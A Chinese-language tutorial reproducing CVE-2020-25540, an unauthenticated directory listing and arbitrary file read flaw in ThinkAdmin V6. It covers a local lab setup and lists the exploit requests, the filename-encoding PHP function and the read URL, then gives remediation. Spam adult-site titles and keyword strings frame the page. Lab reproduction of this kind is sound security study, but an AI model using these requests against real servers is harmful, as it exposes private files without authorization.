中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現ThinkAdmin的漏洞復現

發布時間:2021-12-28 17:25:57 來源:億速云 閱讀:196 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何實現ThinkAdmin的漏洞復現,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

0x00簡介

ThinkAdmin是一套基于ThinkPHP框架的通用后臺管理系統,ThinkAdmin 非常適用快速二次開發,默認集成 微信開發組件,支持微信服務號,微信支付,支付寶支付,阿里云OSS存儲,七牛云存儲,本地服務器存儲。,ThinkAdmin的權限管理基于標準RBAC簡化而來,去除了繁雜的節點管理,使得權限管理起來更簡單,具體包含節點管理、權限管理、菜單管理、用戶管理。

0x01漏洞概述

ThinkAdmin V6版本存在路徑遍歷漏洞。該漏洞主要是因為api中存在危險函數,且未作任何限制。未作任何認證可以直接調用api中此兩危險函數。攻擊者可利用該漏洞通過請求編碼參數任意讀取遠程服務器上的文件。

0x02影響版本

ThinkAdmin版本小于 ≤ 2020.08.03.01

0x03漏洞名稱及編號

CVE-2020-25540

ThinkAdmin 目錄遍歷/文件讀取漏洞

0x04環境搭建

phpstudy2018+ThinkAdmin v6.0

Composer命令

1)安裝Composer命令,phpstudy中PHP設置成7.1或以上版本,并把對應的文件夾放入環境變量path中

如何實現ThinkAdmin的漏洞復現

2)在phpstudy服務器中打開php.ini文件,找到extension=php_openssl.dll前面的分號去掉,意思是打開ssl擴展,目的是為了能在cmd命令中能進行訪問

如何實現ThinkAdmin的漏洞復現

3)安裝composer.phar,找到下載內容的地方,去下載當前最新版本的composer.phar,雙擊安裝,不用勾選

下載地址https://getcomposer.org/Composer-Setup.exe

如何實現ThinkAdmin的漏洞復現

4)配置環境變量后自動選擇了

如何實現ThinkAdmin的漏洞復現

然后一直下一步,安裝完成

如何實現ThinkAdmin的漏洞復現

5)安裝完成后在cmd命令行輸入composer查看是否安裝成功

如何實現ThinkAdmin的漏洞復現

6)設置阿里云 Composer 代理

由于國內訪問Composer比較慢,建議設置阿里云Composer鏡像,運行如下命令設置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

如何實現ThinkAdmin的漏洞復現

7)搜索下載ThinkAdminV6的漏洞版本到本地

如何實現ThinkAdmin的漏洞復現

8)進入ThinkAdmin目錄進行安裝

composer install

如何實現ThinkAdmin的漏洞復現

9)然后進config/database.php目錄下修改配置文件,需要創建一個數據庫

如何實現ThinkAdmin的漏洞復現

10)php進行運行 php think run

如何實現ThinkAdmin的漏洞復現

http://ip:8000打開頁面

如何實現ThinkAdmin的漏洞復現

0x05漏洞復現

1.目錄遍歷

1.1 使用burp抓取首頁的包,發送到Repeater模塊構造數據包獲取目錄

如何實現ThinkAdmin的漏洞復現

1.2 在Repeater模塊中把GET修改成POST,url修改成/admin.html?s=admin/api.Update/node,在下面輸入rules=%5b%22%2f%22%5d //編碼為url編碼 解碼為["/"]

如何實現ThinkAdmin的漏洞復現

1.3點擊”Send”發送,可以看到返回包中帶有目錄列表了

如何實現ThinkAdmin的漏洞復現

注:要是沒有返回列表可修改payload中的路徑,然后使用url編碼即可

2. 任意文件讀取

2.1 我們在根目錄下創建文件flag.txt,內容為flag{s4d6f54s}

如何實現ThinkAdmin的漏洞復現

2.2 在使用加密函數對flag.txt進行加密,使用php運行加密函數得到2u302p2v1a383c38文件名

<?phpfunction encode($content){list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);return $chars;}$content="flag.txt";echo encode($content);?>

如何實現ThinkAdmin的漏洞復現

2.3 訪問下面鏈接即可讀取到flag.txt(讀其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/2u302p2v1a383c38

如何實現ThinkAdmin的漏洞復現

2.4 復制后面使用base64加密的一段字符串,解碼出來就是flag.txt里的內容

如何實現ThinkAdmin的漏洞復現

0x06修復方式

1.升級到2020.08.03.01之后的版本

2.使用官方的臨時修復方案

https://github.com/zoujingli/ThinkAdmin/issues/244

關于如何實現ThinkAdmin的漏洞復現就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

柞水县| 瓮安县| 岳阳县| 周至县| 尚志市| 宁河县| 应用必备| 报价| 香格里拉县| 仪陇县| 县级市| 平顶山市| 廊坊市| 马龙县| 昆山市| 稻城县| 双鸭山市| 金沙县| 手游| 阿鲁科尔沁旗| 富源县| 都江堰市| 城市| 娄烦县| 榆社县| 桐城市| 黄浦区| 夏邑县| 东台市| 闻喜县| 财经| 汉源县| 金溪县| 莱芜市| 兴安盟| 修水县| 大化| 沐川县| 桐庐县| 泾阳县| 利辛县|